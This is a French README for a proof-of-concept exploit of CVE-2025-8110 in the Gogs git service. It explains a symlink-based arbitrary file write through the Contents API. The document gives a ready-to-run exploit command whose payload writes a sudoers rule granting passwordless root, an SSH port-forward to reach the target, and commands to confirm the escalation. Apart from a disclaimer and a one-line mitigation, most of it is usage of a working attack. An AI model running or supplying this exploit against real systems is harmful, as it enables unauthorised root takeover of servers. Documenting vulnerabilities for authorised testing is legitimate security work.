
PoC pour CVE-2025-8110 - Gogs : écriture arbitraire de fichier via lien symbolique
Preuve de concept pour une écriture arbitraire de fichier authentifiée dans Gogs. En poussant un dépôt qui contient un lien symbolique pointant à l'extérieur du dépôt, puis en mettant à jour le contenu de ce lien via l'API, un utilisateur authentifié peut écraser des fichiers sur l'hôte avec les privilèges du compte exécutant Gogs.
Tests autorisés et à but éducatif uniquement. Exécutez ceci uniquement sur des systèmes que vous possédez ou pour lesquels vous avez une autorisation écrite explicite de test. Vous êtes responsable de la manière dont vous l'utilisez.
malicious_link -> /path/on/host) et poussez-le.PUT à l'API Contents pour mettre à jour malicious_link. Gogs suit le
lien symbolique et écrit le contenu fourni dans le chemin cible — avec ses propres
privilèges. Si Gogs s'exécute en tant que root, il s'agit d'une primitive directe
d'élévation de privilèges (par exemple, placer une règle dans /etc/sudoers.d/).L'PUT de l'API est ce qui déclenche réellement l'écriture ; le push ne fait que placer le lien symbolique.
git disponible dans le PATHpip install -r requirements.txt
python3 exploit.py \
-u http://127.0.0.1:3000 \
--user <username> \
--password '<password>' \
--target /etc/sudoers.d/pwned \
--payload '<username> ALL=(ALL) NOPASSWD: ALL'
Omettez --password pour être invité de manière sécurisée au lieu de le passer en ligne de commande.
Gogs est souvent lié à localhost sur la cible. Utilisez le forwarding de port local SSH pour l'exposer à votre machine (ajustez les ports pour correspondre à la cible) :
ssh -L 3000:127.0.0.1:3000 user@target
# then point the exploit at http://127.0.0.1:3000
Après une exécution réussie, vérifiez sur l'hôte (en tant qu'utilisateur concerné) :
cat /etc/sudoers.d/pwned
sudo -l
Si vous avez écrit une règle sudoers, notez que les fichiers dans /etc/sudoers.d/ doivent être valides et avoir les permissions appropriées pour que sudo les prenne en compte.
auto_init renvoie HTTP 500 — le script se rabat sur la création d'un dépôt vide et son peuplement avec un git init local + push.master vs main.Mettez à jour vers une version de Gogs qui valide les liens symboliques dans l'API Contents. Comme défense en profondeur, évitez d'exécuter Gogs en tant que root et isolez le stockage des dépôts.
MIT — voir LICENSE.